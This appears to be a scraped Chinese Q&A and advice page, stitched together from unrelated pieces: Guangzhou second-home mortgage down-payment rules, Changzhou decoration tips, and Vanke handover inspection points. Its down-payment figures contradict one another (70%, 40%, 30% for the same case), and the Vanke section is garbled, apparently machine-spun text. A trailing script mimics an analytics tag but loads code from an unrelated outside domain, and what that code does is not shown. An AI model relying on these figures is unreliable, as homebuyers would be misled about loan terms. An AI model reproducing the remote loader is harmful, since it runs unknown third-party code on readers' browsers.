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田高洁

广州二套首付还是七成吗?有哪些值得注意的呢

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共有3条回答

柳沈雅 有用 1

如果家庭名下房产已经还清贷款,可以做到商业贷款首付三成,公积金首付二成(购买90平方以下的物业,超过则按三成)。如果名下房产有贷款,刚商业贷款首付七成,公积金贷款四成(个人不超60万,夫妻双方不超100万贷款)。

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谢沙羽 有用 1

2017广州市二套房首付比例是:对拥有1套住房并已结清购房贷款的家庭,再次申请贷款购房时,金融机构执行首套房政策。广州二套房个人贷款政策暂不变,仍为首付最低七成,利率上浮10%。

吕平雅 有用 1

你好,首次购房,首次贷款,首付不低于30%,多付不限,执行基准利率或依贷款银行政策。二套贷款,在首套未还清的情况下,首付60-70%,利率上浮1.1倍,还清的情况下,首付还是不低于30%,利率上浮1.1倍。这是对新房而言的。希望可以采纳。

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广州二套房首付2016新政策

2016年广州二套房首付推出新政策,二套房贷首付将会降低,二套房贷首付是指以借款人家庭(包括借款人、配偶及未成年子女)为单位认定的,有不少人认为,这一政策对购房者购房的想法不会有太大的影响,因为首付提高,在利率不变的情况下,则意味着月供减少,但是新政则的推出使得广州二套房的成交量骤减呢?一、广州二套房首付2016新政策国五新政出台,北京二套房首付比例上提至70%,细则落地后,广州暂不调整二套房首付,继续实行旧规,那广州二套房首付比例具体如何?2010年4月17日,国务院就有关问题向各省、自治区、直辖市人民政府,国务院各部委、各直属机构下发国发〔2010〕10号通知。通知规定:对购买首套自住房且套型建筑面积在90平方米以上的家庭(包括借款人、配偶及未成年子女,下同),贷款首付款比例不得低于30%;对贷款购买第2套住房的家庭,贷款首付款比例不得低于50%,贷款利率不得低于基准利率的1.1倍;对贷款购买第三套及以上住房的,贷款首付款比例和贷款利率应大幅度提高,具体由商业银行根据风险管理原则自主确定。按照政策,目前广州市公积金贷款首套房产低于90平方米的,较低可用两成首付,二套房首付至少四成,利率上浮10%。二、广州二套房首付2016新政策广州严格执行我市既有的住房限购政策,即本市户籍居民家庭限购2套住房(含新建商品住房和二手住房,下同);非本市户籍居民家庭能提供购房之日前5年内在本市连续缴纳3年以上个人所得税缴纳证明或社会保险缴纳证明的,限购1套住房,非本市户籍居民家庭不得通过补缴个人所得税缴纳证明或社会保险缴纳证明购买住房。严格执行现有差别化住房信贷政策,即对贷款购买首套自住住房的家庭和对拥有1套住房并已结清相应购房贷款、为改善居住条件再次申请贷款购买普通自住房,执行最低首付款比例30%的规定;对拥有1套住房且相应购房贷款未结清的居民家庭,为改善居住条件再次申请商业性个人住房贷款购买普通自住房,最低首付款比例不得低于70%,继续暂停发放家庭购买第三套及以上住房贷款。三、广州二套房首付2016新政策今年“十一”长假的打开方式有点“别样”。从9月30日开始,5天11次出手,楼市调控新政密集出台!10月4日晚间,广州楼市实施新政,二套房首付提至七成。此次调控进一步深化和完善了限购政策,要求:本市户籍成年单身人士(含离异)限购1套住房;连续缴纳5年以上个人所得税或社保的非户籍居民家庭,限购1套住房。对无房且无贷款记录的,继续执行三成首付;对无房但有贷款记录的,首付不低于五成;已有1套住房的,首付提高到七成以上面对2016年的广州二套房首付此次政策调整最受关注的,就是关于商业贷款二套房新政:未结清首套房贷再买最低首付四成。结清首套房贷继续维持七成、利率最低为基准上浮10%。由于二套房政策依然没有丝毫放松,广东的两大一线城市——广州和深圳,成为全国二套房贷款政策最严的城市。所以还在广州和深圳的朋友们受苦了。

常州家居装修有哪些值得注意的事项

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家居设计需要注意什么?面对于初次装修的朋友来说,装修总是一件让人有些纠结的事情,而对于装修的不了解也使得装修古城中出现了许多难以预知的事情,面对于频繁出现的装修问题,小编认为在进行常州家居装修,我们有必要在进行家居设计的时候注意如下几个方面。常州家居装修注意事项一、参考小区其他住户的房子。同一个小区户型应该差不多,在大家都开始装修的时候,你不妨每家走一走,看一看,每一家对装修都会有自己的想法,从中汲取一些精华,去掉一些糟粕。实际的例子可能让你更有感觉。常州家居装修注意事项二、尽量找正规的家装公司,起码也要耳熟能详的。这是大部分装友的共识,但也不排除有一些业主心存侥幸,雇用“马路游击队”。正规的家装公司除了家装材料和施工工艺有保证外,还有两年的保修期。不要小看它,没有它,也许你会有大麻烦。要不入住后有什么问题再找那些游击队员就比较困难了。常州家居装修注意事项三、仔细查看家装预算上的内容。再有信誉的家装公司也可能产生漏洞,白纸黑字的内容比口头的要详实多了,口头承诺可能在装修中给你带来一些麻烦,尽量相信文字描述而不要轻信口头承诺。常州家居装修注意事项四、墙体颜色的使用。现在似乎彩色的墙体很流行,它看上去的确很温馨,但彩色墙面的缺点是需要其他物品的色彩与之合谐搭配,否则适得其反。而且以后买相关的东西也要受此局限,所以装修前要仔细考虑清楚,装修完后再要改就比较麻烦了。常州家居装修注意事项五、插座尽量多预留几个。有装修经验的人知道,在安排电源插座的位置之前,应该尽可能准确地将所要摆放的家具尺寸提供给水电工。在不影响美观的前提下,如果不能准确确定位置,那就尽可能多预留几个电源插座,将来早晚用得上。常州家居装修注意事项六、注意门窗的安防作用。盗窃事件频繁发生,装修房子时要特别注意门窗的安防作用,主要是考虑门窗是否有防盗作用,这关系到家居的安全,毕竟近年来入室盗窃甚至发生伤害事故的频率也在增加着。门窗防盗方面可以安装比较坚固、防盗的门窗。家居设计是一项需要经验的事情,而这些是很多人都不具备的条件,毕竟现在买一套房都已经够辛苦了,装修经验也无从积累,只能现学现卖。面对于这样的情况,小编建议做好充足的装修准备,避免在装修的过程中出现什么装修问题,这样也有助于装修的顺利进行。以上是小编分享的常州家居装修注意事项,希望能帮助到大家,更多装修资讯敬请继续关注常州装修网。

万科验房标准都有哪些值得注意的呢

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万科验房标准的要点包括验证建筑物楼板是否平整,如果墙面是平的,如果门窗进行检查,如果门被损坏,如果水和电检查,室内装饰部分的保修合同。对于房主来说,房屋检查非常重要。因为只有在签署之前发现房屋问题时,才有可能找出谁负责并确保他们自己的利益不受损害。万科验房标准有以下几点。万科验房标准第一步是检查装修的房子的整体外观,检查壁和地板的平坦度,如果门是平的,如果任何变形,如果墙砖或地砖地板被损坏了。万科验房标准的第二步还需要仔细检查房屋的安全性。水电的安装不容忽视。业主要检查每个插座是否都有电,电话、宽带是否畅通,只要使空气调节器和所述排水孔都正确安装,并且所述水管的上下界面是否被密封。最重要的是向开发人员或财产询问电路接线图,以便将来进行维护。在接受地面,必须使用一个长尺,依靠在墙上,看它是否是平的,看是否有划痕和裂纹,如果在墙壁上爆点。检查所有外窗是否都关闭。有两种方法可以验证:一种是查看是否有空间一目了然,另一种方法是仔细检查所有接缝是否粘在一起。除了检查门窗的稳定性外,还需要验证门窗安装导轨是否光滑。签署室内装饰部分的保修协议。一般来说,精装修房屋的业主与万科验房标准的开发商之间有保证协议,但有时业主必须要求并提出要求。保修协议必须保存在安全的地方,以避免将来的维护问题。对房屋进行检查是一项艰巨而复杂的工程。在开始之前,准备工作应该到位,并且可以检查房屋是否在手边。购买合同必须具备。合同中有许多附件对于装修房屋的验收很重要,例如社区的分布图,商定的规则等。万科验房标准就是以上这些,业主可以详细了解下相关知识。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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